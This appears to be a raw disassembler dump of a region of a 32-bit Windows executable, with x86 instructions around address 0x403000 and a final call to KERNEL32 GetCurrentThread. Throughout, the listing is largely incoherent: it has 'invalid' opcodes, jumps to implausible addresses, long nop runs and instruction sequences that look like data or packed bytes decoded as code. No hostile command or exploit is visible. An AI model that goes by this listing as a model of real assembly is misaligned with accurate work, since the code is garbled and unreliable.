adc byte [edi], cl
test dword [esi + ecx], esi
add byte [eax], al
jbe 0x402fea
push esp
or byte [ebx - 0x7bf00b02], al
nop
mov dl, 0x2e
nop
ja 0x40303b
jne 0x403071
add byte [eax], al
mov dword [esi + 0x32], eax
invalid
jbe 0x4030d5
pop ebp
pop edi
pop esp
mov dword [esi + 0x10], eax
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
adc al, 0xff
add ch, dh
cmc
nop
add byte [eax], al
ja 0x4030d4
hlt
add byte [eax - 0x3db07bf1], al
dec esp
nop
inc ecx
mov byte [0x41ad28], al
sbb al, 0x3c
or ecx, esp
nop
and eax, 0x761a0758
mov dword [eax + 8], ecx
ja 0x4030d7
add byte [eax], al
jne 0x4030cb
nop
mov byte [esi - 0x6ffb89d3], bh
push 0
lea ecx, [ebp - 0x2c]
ja 0x40307a
aam 0x77
mov ch, 0xb
sbb bh, dh
imul byte [ebx - 0x1e]
or ebx, dword [edx]
invalid
add dl, byte [edi - 0x2f]
xchg esi, eax
add eax, 0x89dc4d8b
mov dword [eax], eax
xor esi, dword [esi - 0x17]
add byte [ebx], dh
jbe 0x4030c2
nop
sbb byte [edi], cl
and byte [edi + esi*2 - 4], bl
cld
das
nop
lodsb al, byte [esi]
dec ebp
cli
nop
sar ecx, 1
stc
das
adc al, 0x20
jbe 0x4030a4
popal
push esi
jbe 0x403082
nop
nop
or byte [ebx - 0xff3dbbc], cl
nop
sbb al, 0x8b
push ebp
add eax, 0x90909090
jbe 0x403095
rol byte [eax + 0x5d], 0xc2
push ebp
jbe 0x4030e8
inc eax
pop ebp
ret 0x7655
sbb bh, bh
div ecx
dec ecx
js 0x403123
test esi, edi
nop
jmp 0x403106
add al, byte [eax]
dec dword [ebp + 0x310246c]
add byte [edi - 0x56], dh
mov ebp, esp
mov ecx, dword [esi + 0x2c]
add dword [eax], eax
add byte [eax], dl
nop
add byte [eax], al
add eax, dword [eax]
popal
fcomp dword [eax + 0x77]
mov eax, dword [edi + 0x20]
call fcn.004096f4
wait
pop edx
nop
add byte [eax + 0x77], bl
nop
add byte [ebx + 0x5800905a], bl
ja 0x4030df
inc ebp
and al, 4
mov ecx, 0x35f5762e
ja 0x4031ac
fidiv word [ecx + ecx + 0x39]
sub bh, bh
push edi
nop
nop
std
sub eax, 0x2dc30a76
sub dh, byte [esi - 0x36a1fffd]
add eax, dword [eax]
pop esi
leave
mov ecx, dword [ebp - 4]
jbe 0x4031a2
mov ch, 0x44
jge 0x4031d1
xor byte [esi + 0x5b], dl
nop
jbe 0x40310e
rol byte [eax], cl
xor byte [ecx + 0x77], bl
je 0x402dfc
nop
mov eax, dword [ebp - 0x10]
and eax, 0x761a085c
push esi
pop dword [ecx]
mov dh, 1
jbe 0x403215
add dword [esi + 0x7c], esi
add byte [ecx + 0x3b], bl
fst dword [ecx - 0x2f]
mov eax, dword [esi + 4]
inc esi
add al, 0x90
nop
and byte [edi + 0x77], dl
add eax, edx
sub eax, 0x2da63e76
ja 0x403196
sub eax, 0xef77e777
ja 0x4031a0
nop
nop
or byte [edx], bl
jbe 0x403147
call fcn.004050a9
sahf
add byte [eax], al
pop esp
add byte [esi], cl
or edx, dword [edi + 0x77]
nop
add byte [ebx], cl
push edi
ja 0x403157
mov ecx, dword [esi + 0x18]
ja 0x4090bb
add al, 0x89
jae 0x4031df
mov dword [ebx + 0xb], esi
pop ebp
add byte [eax - 0x6f6f6f70], dl
add byte [eax], al
pop edi
jbe 0x40316a
add byte [edi + 0x2e], bl
jbe 0x40316a
cmp al, 0xff
add ah, byte [eax]
nop
call fcn.00405890
test dword [eax - 2], esp
nop
jbe 0x403171
loopne 0x40318d
lcall 0x5b30, 0x46896690
nop
add byte [eax], al
or ebx, dword [edx]
jbe 0x4031ff
ja 0x403253
pop es
push edi
nop
jbe 0x403189
inc ecx
jbe 0x4031b3
shl ecx, 5
jbe 0x403265
mov ecx, 0xb4762e01
mov ecx, 0x9ec5762d
jbe 0x4031dc
sahf
lock add dword [eax], eax
add al, byte [eax]
sub eax, 0x2eb2b876
cmp ecx, 3
nop
dec esp
mov dword [esp + 0x10], ebp
jbe 0x4031c2
mov eax, 0xf9832eb2
add edx, dword [eax + 0x246c894c]
adc byte [esi - 0x6c], dh
ja 0x40327a
cld
add eax, dword [eax]
jbe 0x4032a8
jne 0x403250
xchg ecx, eax
nop
sub eax, 0x2de27376
mov ebx, 0x6476243f
add bh, bh
jae 0x403220
sub eax, 0x76243fbb
add bh, bh
ja 0x403252
pop ss
ja 0x4032ab
mov eax, esi
add eax, dword [eax]
jnp 0x403213
ret 0x905c
pop esp
nop
jbe 0x4031e5
nop
nop
add al, byte [eax]
cmp edi, esi
xor al, 0xf
nop
cld
shr eax, 1
jbe 0x4031f2
nop
inc ebp
add al, 0x1a
add dword [eax], eax
inc esi
jbe 0x403282
sbb al, byte [ecx]
add byte [esi + 0x76], al
pop ss
cmp edx, dword [esp + 0xc]
nop
sub eax, 0x2dc67176
ja 0x403254
lea eax, [ebp - 0x40]
sbb byte [ebx], bh
add eax, 0xc085761a
cmp eax, dword [0xc085761a]
sbb dh, byte [esi - 0x7b]
ror byte [ebx - 0x73f03f14], 0xd8
pop eax
ja 0x40328e
mov ebp, esp
in al, dx
ror byte [edi], 0x8c
fcomp dword [eax + 0x77]
add al, 0x8b
lahf
nop
add bh, bh
xchg edx, eax
mov ebx, dword [edi - 0x6d00ff70]
call dword [edx + 0x4d317626]
jbe 0x4032c4
dec ebp
mov eax, 0x76260218
sbb dh, byte [esi - 0x73]
jne 0x4032b6
jbe 0x403230
jbe 0x40327b
nop
add byte [ebx - 0xb37b], cl
sbb dh, byte [esi - 0x70]
call [edx]
jbe 0x40323c
nop
pop esi
dec eax
nop
movsb byte es:[edi], byte [esi]
jbe 0x4032c5
pop ecx
neg eax
add al, 0x89
jbe 0x4032cf
mov dword [esi + 0x16], esi
jne 0x4032c3
mov dword [ebp - 4], eax
mov ecx, dword [esp + 4]
jbe 0x40329e
jbe 0x40329e
invalid
mov edi, edi
cmp eax, 0x80000060
rep stosd dword es:[edi], eax
nop
ja 0x40327d
push edi
or al, 0
nop
add byte [eax - 0x6f6f6f70], dl
das
inc ebp
je 0x40317b
test byte [eax - 0x6b000002], bl
xchg esp, eax
inc esi
pop eax
add dword [eax], eax
dec eax
inc eax
add eax, 0x90909090
add eax, dword [eax]
nop
or eax, 0xcaa7761
jbe 0x4032de
cmc
dec esp
adc eax, 0x761a0240
test byte [eax + 0x24], 2
sbb byte [eax], al
adc eax, 0xb0762da4
jne 0x4042d8
nop
pop ecx
add byte [eax], al
push esi
sbb dh, byte [esi - 0x70]
jbe 0x4032aa
sbb bh, bh
mov word [0x40ff90], gs
pop ebx
jbe 0x4033a1
jbe 0x403393
jne 0x403333
add byte [esp + ecx + 0x2f], bl
pop es
add eax, dword [eax]
nop
ja 0x40339e
invalid
call [eax - 0x70]
add dword [eax], eax
imul esp, esi, 0xa14d762d
ret 8
invalid
adc dh, byte [esi - 0x70]
ja 0x4033df
mov dword [edi], eax
adc byte [ebx], ch
mov ecx, eax
add bh, al
and eax, 0x761a0b0c
lds eax, [edx]
push edi
pop edi
or al, 0xb
sbb dh, byte [esi - 0x3b]
add dl, byte [edi + 0x5f]
nop
push ss
ja 0x403360
jmp 0x4033ac
imul ebp, dword [ebx], 0xc50c7759
mov eax, dword [ebp - 0x1c]
nop
lea eax, [ebp - 0xc]
and bl, byte [edx]
jbe 0x4033e8
mov ebp, esp
nop
nop
add byte [ebx - 0x17cf78b], cl
xchg ecx, eax
jb 0x403437
inc ebp
movzx esi, word [ecx]
js 0x403400
sub eax, 0x2de10976
push ebp
add esp, 0xc
sub eax, 0xcc48355
xor byte [0x41d27a], dl
add dword [edi], ecx
jbe 0x40342a
test byte [edi], 0x54
cmp ecx, edi
inc esi
xor byte [0x40ff18], cl
inc dword [eax]
push 0x76243fbb
stc
jbe 0x40340c
test byte [edx + esi*4 + 1], cl
ja 0x40340f
add dword [edi - 3], esi
sub dword [ecx + 0x77], ebx
push edi
nop
pop edx
add byte [ebp - 0xb77b], cl
sub eax, 0x3025aa76
test byte [ecx + 0x77], ah
ja 0x40340c
mov byte [ecx], ch
push edi
mov eax, dword [eax + 0x2c]
jbe 0x4033c0
push eax
ja 0x40346e
mov eax, 0xe87756f8
add dword [eax], eax
mov eax, dword [0x18]
add byte [esi - 0x77], ah
and dword [edi + 0x77], edx
inc ebp
call 0x18e1343d
add byte [eax], al
add byte [eax], al
mov word [ecx], sp
push edi
ja 0x40348b
ja 0x4033e2
nop
sbb esp, dword [ecx]
sub eax, 0x2eb3762e
mov dword [esi + 0x32], eax
jbe 0x403403
mov dword cs:[esi + 0x32], eax
jne 0x403472
cld
push esi
xor edi, edi
nop
push edi
nop
cmp ecx, 3
sbb eax, 0x13775889
sub dword [eax + 0x2d], edi
jne 0x401995
add byte [eax], al
sbb dh, byte [esi - 0x75]
nop
cmp eax, 0x80000060
mov edi, edi
jbe 0x40344d
mov edx, dword [eax + 0x603d]
or byte [ebx - 0x742f8901], 0xff
mov edi, edi
xor ebp, dword [edi]
or al, 1
ret 0xc
das
dec esi
nop
push ebp
nop
add dword [eax], eax
adc edi, ebx
dec ebp
pop edi
test cl, bl
add eax, 0x90909090
inc ebp
sub eax, 0x2ea14d76
pushfd
je 0x403e42
add al, 0xc2
cmp al, 3
nop
test byte [ebp + 8], 2
and byte [ebx + 0x57], dl
push eax
cmpsd dword [esi], dword es:[edi]
push ds
fistp word [ecx + 0x77]
sbb dh, byte [esi - 0x70]
nop
or bl, byte [edx + 0x77]
cmpsd dword [esi], dword es:[edi]
sbb dh, byte [esi - 0x70]
enter 0x7758, 0xffffffffffffffbe
add byte [eax], al
mov eax, dword [ebp - 8]
les ecx, [ebx + esi]
and eax, 0x761a08f0
add dword [eax], eax
ja 0x40353d
nop
push ecx
lea ebp, [0x41b331]
or dword [eax], eax
enter 0x56ff, 0x77
inc ecx
add byte [ecx], cl
add al, cl
call dword [esi + 0x77]
pop eax
daa
push esi
popal
lea edx, [edi + edi*8 - 1]
les ebx, [edx + 0x77]
add esp, dword [esi]
pop esp
pop esp
or al, 0x8d
nop
ja 0x40353d
add cl, byte [edi]
or byte [eax], al
add byte [eax], al
sbb dh, byte [esi - 0x70]
jmp 0x40358a
stc
add byte [eax], al
and dword [ebx + 0x6b247758], edx
mov edi, edi
jno 0x4035f0
push dword [ecx + 0x59]
nop
mov dword [ebp - 0x1c], eax
sub eax, 0x2e05dc76
sub dword [esi], 0x76
jbe 0x4035d4
stc
jbe 0x403529
push ebp
mov ch, 1
ja 0x4035ee
nop
mov edi, edi
cmp eax, 0x80000050
pop ecx
add byte [eax], al
ja 0x4035c4
sbb dh, byte [esi - 0x70]
sub eax, 0x2e133b76
add byte [eax], al
cmp edx, dword [ebx]
add byte cs:[eax], al
test byte [edi], 0x94
mov dword [ebp - 0x20], ecx
pop edx
pop ecx
nop
movsb byte es:[edi], byte [esi]
nop
mov edx, dword [esp + 8]
or eax, edx
add byte [eax], al
hlt
ror dword [ecx - 0x3f7a03bb], cl
enter 0x2ddf, 0x76
jmp 0x4035f5
sbb byte [eax], al
das
add al, 0x1a
shr eax, 1
nop
test dword [ebp + 8], 0xfffffff8
jbe 0x40364f
push dword [esi + 0x4e]
pop eax
jbe 0x403594
push esi
xor eax, eax
jecxz 0x403636
ja 0x4035db
sub esp, 0x1c
or eax, 0xcaa7761
jbe 0x403644
stosb byte es:[edi], al
or al, 0x76
das
jo 0x40362e
pop ecx
jbe 0x403667
loopne 0x40366f
push edi
add byte [eax], al
jbe 0x403611
lea edi, [ebp - 0x20]
nop
ja 0x4035b3
sub eax, 0x2deb7776
das
pop edx
add al, 0x89
lea ecx, [ebp + 8]
ja 0x4036ab
mov dword [esi + 0xc], eax
mov ebp, esp
inc esi
or al, 0x8b
in al, dx
pop ebp
call fcn.00402a47
cld
fldcw word [0x41a826]
pop esi
nop
pop es
hlt
test al, 0x41
add byte [esi - 0x70], bl
nop
or ecx, ecx
ja 0x4035e4
cmp dword [ebp + 0xc], esi
jne 0x40365d
mov dh, 0x2b
push 0x58
add byte [eax], al
add dword [eax], eax
sbb eax, 0x1bb2762e
add byte [ecx], al
add byte [0x1bb2762e], bl
sbb edx, edi
xlatb
ja 0x403656
leave
add byte [ecx + 0x46890446], cl
inc esi
add dword [eax], eax
add ch, byte [esi]
xchg dword [edi + esi*2 + 2], ebx
jbe 0x403672
add dh, byte [esi]
nop
nop
add eax, 0x9090761a
push esi
jbe 0x4035fe
jbe 0x4035fe
push esi
adc al, 0
aaa
adc byte [ecx + 0x77], bl
pop ebp
sbb eax, 0x18b07757
add byte [eax], al
adc byte [edx], 0x2e
nop
cmp eax, 0xfffffff6
ja 0x40369a
or bl, byte [edx + 0x77]
fdivr st(6), st(0)
test eax, 0x90909090
fild word [eax + eax]
mov dword [eax], edx
push edx
push ecx
das
ja 0x40363c
and al, 0x83
push ebp
lds ebx, [esi - 0x60a789d2]
mov edi, edi
sbb eax, 0xc6697759
inc ebp
inc edi
jbe 0x40369a
pop ecx
jge 0x4036ee
jbe 0x4036c8
add byte [ebx - 0x7bf00908], al
das
sub byte [esi], ch
je 0x408d24
je 0xf6e5efd
test byte [ecx + 0x56], dl
add byte [eax], al
ror dword [esi - 0x25d289d3], 1
fmul qword [ecx - 0x2b8a74f8]
add byte [eax], al
or byte [eax], al
mov ecx, dword [esi + 0x40]
test dword [ebx], edi
or dword [edx], ebx
pop ebp
push edi
add eax, 0xf08b761a
test dword [edx - 0x75000000], edi
sbb al, 0x8b
mov edi, edi
push es
nop
ja 0x40374e
jbe 0x40367b
invalid
pop esi
dec edx
fst qword [edi]
fsubr dword [edi]
cmp eax, 0xfad07762
je 0x40370e
nop
nop
or al, 0x57
push edi
sti
adc dword [esi], ebp
jb 0x40826d
or eax, 0x9090761a
nop
jbe 0x403770
jbe 0x4036ea
add byte [ebp - 0x74a91fa3], cl
mov dword [esi + 8], eax
pop eax
ja 0x40374f
invalid
jbe 0x40375e
shr dword [0x5aa0f990], 1
ja 0x40374c
adc ebx, dword [ecx + 0x30]
jbe 0x4037a0
das
ja 0x4037c3
je 0x4037aa
pop edx
jbe 0x403774
ja 0x403768
pop eax
push eax
pop ebp
nop
add byte [ecx], bh
jbe 0x40371d
xor al, 0x8b
xchg byte [0x40f2fc], ch
add byte [eax - 0x6f6f6f70], dl
nop
nop
mov dword fs:[0], eax
add byte [eax], al
pushal
movzx eax, word [esi]
jbe 0x40370f
add eax, 0x75ff761a
jne 0x403779
push dword [ebp + 0x75]
cld
enter 0x2ddf, 0x76
jbe 0x40373d
mov edx, 0x761a05c8
enter 0x1a05, 0x76
sub dword [esi], ebp
add esp, dword [esi]
les esp, [esi + 0x12b4775c]
xor byte [edx + ebx], cl
pop edx
pop ss
add byte [eax], al
sub dword [eax + 0x2d], edi
rol dword [ebx + 0x3b5900d2], 0xd1
cmp edx, ecx
test byte [eax - 0x74ffffee], dl
adc al, 0xff
push edi
push edi
push ebp
add byte [eax], al
nop
push ecx
nop
push eax
or byte [ebx], 0x1a
and bl, byte [edx + 0x77]
jbe 0x403817
sub eax, 0x36d6762e
ja 0x403782
ror byte [edi], 0x85
or ebx, dword [edx]
nop
ja 0x403816
jne 0x77d051d4
dec esp
add byte [esi], bl
add dh, dh
or al, 0xf0
jbe 0x403804
mov ebp, esp
je 0x4037d9
xor ebx, dword [edx - 0x642e88a4]
ja 0x4037ac
wait
add byte [ebx - 0x76efdbbc], cl
push ds
cmpsd dword [esi], dword es:[edi]
ja 0x40376e
adc byte [edx], 0x2e
pop eax
das
nop
cmp ah, byte [eax - 0x5fe589d1]
jbe 0x403831
ret 0xc
sub al, 0
add byte [edi + 0x18], dh
je 0x4037bb
jbe 0x403820
add al, 0
and al, 0x8b
mov dword fs:[esi + 0x28], eax
push esi
or al, dh
fist dword [edi - 0x75]
cmp ebx, eax
mov dword [ebp - 4], 0xc0000017
das
jbe 0x4038a3
invalid
push edi
mov edi, dword [ebx]
fadd st(7)
inc ebp
cld
pop ss
add byte [eax], al
shr byte [edi], 0x76
jl 0x40382d
add eax, 0x90909090
nop
nop
nop
nop
add eax, 0x90909090
nop
nop
nop
nop
push 0
inc ebx
cmp esi, ebx
adc byte [0x42025a], ah
mov esi, 0xc6f1762d
invalid
jb 0x40389f
inc esi
nop
nop
push esi
xlatb
xchg esp, eax
add byte [ebp - 0x74fa8b0a], al
or byte [ebp + 0x4c840fc0], al
push ebp
ret 0xc
pop eax
ja 0x40384b
add byte [eax - 0x62], dh
sahf
nop
ja 0x403819
nop
add dword [eax], eax
je 0x4038a6
ret
adc edi, ebx
sub eax, 0x5d00c272
ret 0x5b90
add byte [ebx + 0x5e5ffc45], cl
pop edi
pop esi
rcr dword [ebx - 0x473088a4], 1
mov dword [eax], ecx
fcomp dword [ecx + 0x77]
and dword [ebp - 0x79f889d3], ecx
nop
wait
pop esp
ja 0x403879
mov eax, 0x59d80889
ja 0x4038d2
lea ebp, [0x90860776]
add ah, dl
and eax, 0x761a08ec
add byte [ecx + 0x3b], bl
add byte [eax], al
add al, byte [eax]
sbb eax, 0xc05762e
and eax, 0x761a0b78
adc eax, 0x761a04b4
jbe 0x4038d8
sbb dh, byte [esi + 0x76]
add cl, byte [ebx + 0x5606775c]
mov ebx, dword [edi + esi*2 + 6]
ja 0x4038e0
push esi
js 0x40391f
jbe 0x403889
cmpsb byte [esi], byte es:[edi]
jbe 0x4038f3
ja 0x4038db
jbe 0x403874
cmp dword [esi + 4], edi
add eax, ecx
add byte [eax], al
jbe 0x4038da
sub dword [edi], ebp
das
into
jmp 0x403914
xor eax, 0x5a8a90f4
jbe 0x403956
push 0x761a2418
or byte [ebp + 0x4c840fc0], al
fadd dword [edx]
nop
sbb byte [edx + ebx], ah
jbe 0x4039dc
test eax, eax
je 0x90431228
jbe 0x403a00
ficomp word [ebx]
sub ebp, dword [esi]
push eax
test byte [esi - 0x75000000], cl
jge 0x4039cf
je 0x403a11
or ecx, ecx
je 0x401d68
pop eax
nop
inc esp
mov ecx, dword [ebp + 0x14]
jbe 0x403a15
add cl, ch
jbe 0x403a7e
jbe 0x403a53
add al, 0xf
xor edi, edi
nop
add byte [ebx], bh
inc edi
ret
hlt
pop eax
ja 0x403a48
add byte [ebx + 0x45890845], cl
imul ebx, dword [eax + 0x77], 0x77572250
mov dl, 0x5b
nop
ret 4
hlt
cmp eax, edi
add al, byte [eax]
add byte [ecx], ah
pop edx
and eax, 0x761a0be8
and al, 0x46
cmp dword [ebp - 0xa0], ecx
pop eax
or dword [eax], eax
nop
pop ebp
jmp 0x751efab6
std
jbe 0x403d42
jbe 0x403d63
call fcn.004051ce
sub eax, 0x2eb3762e
add byte [ebx - 0x17cf78b], cl
add byte [eax], al
add byte [eax - 0x6f6f6f70], dl
cmp esi, 0
add byte [eax], al
nop
nop
nop
nop
nop
ja 0x403d30
nop
mov ebx, dword [edi + esi*2 + 6]
ja 0x403d6b
jbe 0x403dbf
sub eax, 0x75b73076
or byte [eax], al
push ss
add byte [eax], al
push 1
ja 0x403db4
sub eax, 0x5630c360
pop ebx
nop
jmp 0x4021d4
mov esi, dword [edx]
pop ecx
ja 0x403d44
inc ebp
in al, dx
push ecx
cmp ecx, ebx
fidiv word [ecx + ecx + 0x39]
ja 0x403e26
mov ch, 0x3b
adc eax, 0x761a05ec
add byte [eax], al
cmp al, 0x59
popfd
adc byte [esi], ch
pop esi
popfd
jbe 0x403d54
mov ecx, dword fs:[0x42946b]
push esi
add byte [ecx], ch
xadd dword [ecx], eax
sar ecx, cl
rcr byte [ecx], 1
adc al, 0x56
add byte [ebx - 0xc62173a], cl
sub eax, 0x2de67476
cld
cmp al, 5
jbe 0x403d90
mov ebp, esp
mov byte [0x762eb7], al
and ch, byte [esi]
cli
pop ebp
pop eax
mov eax, dword [ebp + 0x1c]
pop ebx
sub eax, 0x2dcfad76
test byte [edi + ebp*4 + 1], al
nop
add byte [eax], al
imul edi, dword [eax + ebx*2 + 0x77], 0x33
mov byte [0x9fdb762f], al
xor esp, dword [edx - 0x602489d1]
idiv byte [ecx]
nop
jbe 0x403de5
cmp dword [eax - 0x6fff3c8a], edx
nop
nop
add byte [eax - 0x6f6f6f70], dl
nop
nop
sahf
jne 0x403db2
xor al, 0x59
ja 0x403e39
nop
nop
add byte [eax], al
ror dword [esi - 0x25d289d3], 1
add eax, ecx
dec esp
nop
ja 0x403e9f
add byte [esi], 0x4b
nop
nop
ja 0x403e1e
pop edi
or al, 0x1a
sub eax, 0x2dbb4f76
popal
jne 0x403e61
mov eax, dword [ebp - 0x10]
das
cli
pop ecx
jbe 0x403eb3
add byte [0x42123e], ch
sub eax, 0x2dc30a76
add byte [0x2dc30a76], ch
lea eax, [ebp - 4]
lodsd eax, dword [esi]
jbe 0x403e17
jne 0x403e99
jmp 0x403e7b
or byte [ebx - 0xbb73], cl
pop ebp
nop
call [ebp - 0x70]
jmp 0x403e6d
dec esi
add byte [esi], ch
je 0x404a7c
or eax, dword [eax]
add ah, dh
add byte [eax - 0x6f6f6f70], dl
mov dh, 0x2d
popal
jbe 0x403eb3
hlt
or al, 0x3b
rol dword [ebx + 0x3b5900d2], 0xd1
nop
mov edx, dword [ebx + 8]
nop
add byte [ecx + 0x3b], bl
rcl dword [eax - 0x6ff7ac75]
ja 0x403f09
ja 0x403ed8
cmpsd dword [esi], dword es:[edi]
nop
pop eax
inc esp
ret
je 0xf750ef6e
fst dword [eax - 0x7bf08000]
mov ch, 0x74
nop
add byte [eax + 0x74b5840f], al
add bh, al
stosb byte es:[edi], al
rep stosd dword es:[edi], eax
and bl, 0x50
lcall 0x5ad0, 0xd0775885
pop ecx
rcr byte [edx + 0x59], 1
enter 0x1a0b, 0x76
add byte [ebx - 0x23171bbb], cl
add bh, bh
fistp dword [edi - 0x5f9289d1]
jne 0x403e91
xchg dword [eax - 0x39961215], edx
pop eax
ja 0x403f4b
nop
jmp 0x403efa
imul eax, esi, 0x7d397758
stc
jge 0x403f0d
ja 0x403f32
or byte [edx], bl
sbb dh, byte [esi - 0x70]
lea eax, [ebp - 0x10]
push ss
adc byte [ebx], cl
sar ecx, 1
add eax, 0x90900000
test dword [ebx - 0x2b], ebp
cmp esi, eax
adc edx, 0
push ds
add byte [esi], bl
nop
mov ebp, dword [esi]
jbe 0x403f72
jbe 0x403f72
mov edi, edi
nop
jbe 0x403fa3
mov dl, 0xfa
jae 0x403f2b
pop ebx
add byte [eax], al
push esi
stc
nop
jbe 0x403edf
nop
mov edi, edi
jbe 0x403f35
push edi
add byte [eax], al
jbe 0x403f65
ja 0x403f3c
sub eax, 0x2ded9976
add bh, dh
pop eax
cmp eax, 0x80000002
sbb dh, byte [esi - 0x70]
add bl, byte [edx + 0x77]
mov eax, dword [ebp + 8]
ja 0x403f2f
pop edx
ja 0x403ef3
inc ebp
or byte [edi - 0x3d], dh
pop edx
push ss
add eax, 0x90909090
nop
inc esp
nop
dec esp
mov edi, dword [eax]
mov dword [ebp - 4], 1
nop
ja 0x403f16
jbe 0x403f3a
ja 0x403fe5
nop
add dl, byte [edi + 0x77]
ja 0x403fc4
jne 0x40a29c
add eax, 0x8966761a
inc ebp
sbb dh, byte [esi - 0x70]
cmp al, 0xbc
nop
adc bh, bh
mov ebp, esp
sub ebp, dword [esi]
xor bl, byte [ecx + 0x77]
xor bl, byte cs:[ecx + 0x77]
wait
or byte [edi], 0x84
mov ebp, esp
jbe 0x403ffb
or byte [edx], bl
nop
nop
retf
or al, 0xb
jbe 0x404213
pushfd
ja 0x4042e0
push ebp
add byte [0x423a12], bh
mov edi, edi
or al, 0x73
nop
sti
sub eax, 0x2da63e76
sbb dh, byte [esi - 0x7b]
add byte [eax], al
nop
add eax, 0x4d8b761a
nop
inc ebp
sbb dh, byte [esi - 0x18]
jbe 0x404315
sbb dh, byte [esi - 0x70]
jbe 0x4042b9
mov edi, edi
xor al, 0x89
fisttp dword [ebx]
fst dword [ecx + 2]
mov eax, dword [esi + 4]
sub eax, 0x2de65e76
out 0x2d, al
lcall 0x1868, 0x16a0000
jo 0x4042dc
jne 0x4042da
aad 2
ror byte [edi], 0x8c
xchg ecx, eax
add byte [eax], al
add eax, dword [eax]
mov esi, dword [esi]
and eax, 0x761a0b30
pop eax
ja 0x40430a
mov dword [ebp - 4], esi
cld
nop
or ecx, esp
sub eax, 0x2de47c76
sub eax, 0x2d895776
push ebx
sub eax, 0x2de36576
jbe 0x4042f3
jbe 0x404289
sub dh, byte [edx + 0x2f]
test dword [ebp + 8], 0xfffffff8
mov eax, dword [0xa1a4762f]
add byte [eax], al
nop
add byte [ebx], bh
neg edx
ja 0x404388
fidiv dword [edi + 0x7b]
nop
sar byte [eax + 0x22], cl
test dword [edi], edx
test eax, eax
ja 0x40438b
push ecx
ja 0x4042da
rcl byte [ebp], 0
push ebp
add byte [eax], al
inc eax
mov ebp, esp
nop
or al, ch
wait
cli
sal ah, 0x5e
ja 0x40437d
sbb dword [edi + 0x77], edx
lock cmpxchg dword [ecx], edx
add cl, byte [edi]
sub eax, 0x2de2aa76
or al, byte [eax]
and dword [ebp + ebp + 0x76], ebp
add eax, 0xc085761a
add byte [ecx], ah
insb byte es:[edi], dx
sub eax, 0x761a0576
test eax, eax
mov dword [eax + 0x32], ecx
jbe 0x404371
add al, byte [eax]
add dword [eax], eax
sub eax, 0x2de1ff76
inc ebp
mov byte [0x6d775b47], al
add byte [esp + ecx + 0x2f], bl
pop esi
test byte [edx - 0x3e], bl
das
je 0x40674a
rcl al, 1
sbb dh, byte [esi - 0x70]
ja 0x404339
test dword [esi - 0x5b], eax
push eax
int 0x10
push ecx
jl 0x402304
jecxz 0x404319
fcomp dword [edx + 0x77]
push edi
pop edx
ja 0x4043d7
cmp eax, ecx
nop
push edi
nop
and eax, 0x761a0dac
ja 0x4043dc
sbb dh, byte [esi + 0x77]
push eax
sbb dword [edi + 0x77], edx
sbb dword [eax + 0x77], 0x69
and eax, 0x761a0988
xor byte [0x42993e], cl
jbe 0x4043d8
leave
nop
and al, 0xc
add byte [eax], al
cmp edx, ecx
nop
jbe 0x4043e2
sub eax, 0x2dfb1376
bound esi, qword [edi - 0x5c]
invalid
nop
not byte [eax + 3]
nop
nop
rcr dword [edx + 0x77], 1
and eax, 0x761a0b78
js 0x4043e5
sbb dh, byte [esi - 0xd]
jp 0x40440c
jp 0x40440c
pop edi
push ds
das
jbe 0x4043b9
ror dword [eax], cl
push edi
ja 0x4043f7
sbb dh, byte [esi - 0x70]
nop
nop
add byte [ebx], bh
hlt
adc bh, bh
add byte [ebx + 0x45890cc4], al
leave
jbe 0x40446e
ja 0x404492
jae 0x402b9f
add byte [ebx - 0x1fba76fa], cl
add eax, 0x90909090
push edi
pop ebp
nop
dec ebp
test byte [edx + 0x3d0000c2], dh
jbe 0x404742
sar ecx, 1
nop
ja 0x404746
pushal
or al, 0x1a
mov edi, edi
jo 0x404704
push dword [eax + 0x18]
sub esp, 0xc4
add byte [eax], al
cmp ebx, eax
mov ebp, esp
sub eax, 0x2dd2ef76
rol byte gs:[eax], 1
mov dword [ebp - 0xc4], eax
ja 0x404781
fmul dword [ecx + 0x398ae910]
jbe 0x40478a
nop
nop
jno 0x4046ce
ja 0x4046f0
pop eax
jp 0x40475d
ja 0x4046e9
nop
add eax, dword [eax]
sbb cl, bl
push edi
dec esi
add al, byte [eax]
push eax
push ebp
pop ebp
mov dword [esi + 4], eax
jbe 0x404738
fisttp dword [edi]
mov bh, 0x2e
add dl, byte [edi + 0x77]
pop eax
mov ebp, dword [0x423594]
add byte [ebp - 0x12d75589], bl
popfd
ja 0x4046e5
sub ch, ch
pop eax
add eax, dword [eax]
pop eax
nop
or byte [edi], 0x84
mov eax, dword [0x762603ac]
jbe 0x40479b
and eax, 0x761a08ec
or al, 0xb
nop
add eax, 0x90909090
les ecx, [ebx - 0x3074ef83]
ret 4
adc byte [ebx + 0x4c2cf], cl
nop
pop esp
mov al, byte [0x1305775a]
inc ebx
sti
and byte [eax], al
jbe 0x4047d3
jbe 0x404781
mov dword [ebp - 4], 0xfffffffe
jne 0x404784
cmp dword [ebp - 0x98], ecx
pop eax
inc edi
call [eax + 0x47]
sbb eax, 0xff688d39
lea ebp, [eax - 1]
nop
jbe 0x404798
mov eax, dword [ecx + 4]
cmp ebx, dword [eax + 0x77]
cmpsd dword [esi], dword es:[edi]
nop
mov dword [eax], ecx
fist word [edi + 0x77]
push edi
ja 0x404786
jmp 0x404789
in eax, dx
push esi
and al, 0
lodsb al, byte [esi]
jbe 0x404737
sbb dh, byte [esi - 0x70]
iretd
add al, 0xda
das
inc esi
xor dl, byte [eax + 0x6c21762f]
sbb dh, byte [esi - 0x75]
cmp ecx, edi
add byte [eax], al
sbb dh, byte [esi - 0x70]
nop
nop
or cl, ch
push eax
mov ebp, esp
das
adc eax, 0x66677757
jbe 0x404a47
nop
mov ebp, dword [0x4213ab]
stosd dword es:[edi], eax
adc eax, dword [edx]
or ecx, 2
ja 0x404a8c
cld
pop ebx
dec esp
mov dword [0x16f0775c], eax
pop esp
ja 0x404a7f
push ss
nop
nop
cdq
sub eax, 0x2dddf576
mov edi, edi
jbe 0x404a2f
nop
jbe 0x404a80
nop
jbe 0x404af2
and eax, 0x761a0874
ja 0x404b04
nop
nop
mov gs, word [0x421522]
add byte [ebx + 0x3e181c8], cl
nop
das
ret 0
jbe 0x404b6f
cmp al, 0x89
jbe 0x404a9a
sub eax, 0x2e5c0f76
jbe 0x404aa1
cmpsd dword [esi], dword es:[edi]
jne 0x402190
push dword [ebp + 8]
pop dword [ebp - 0x9c]
jmp 0x404b7e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
jmp 0x404b88
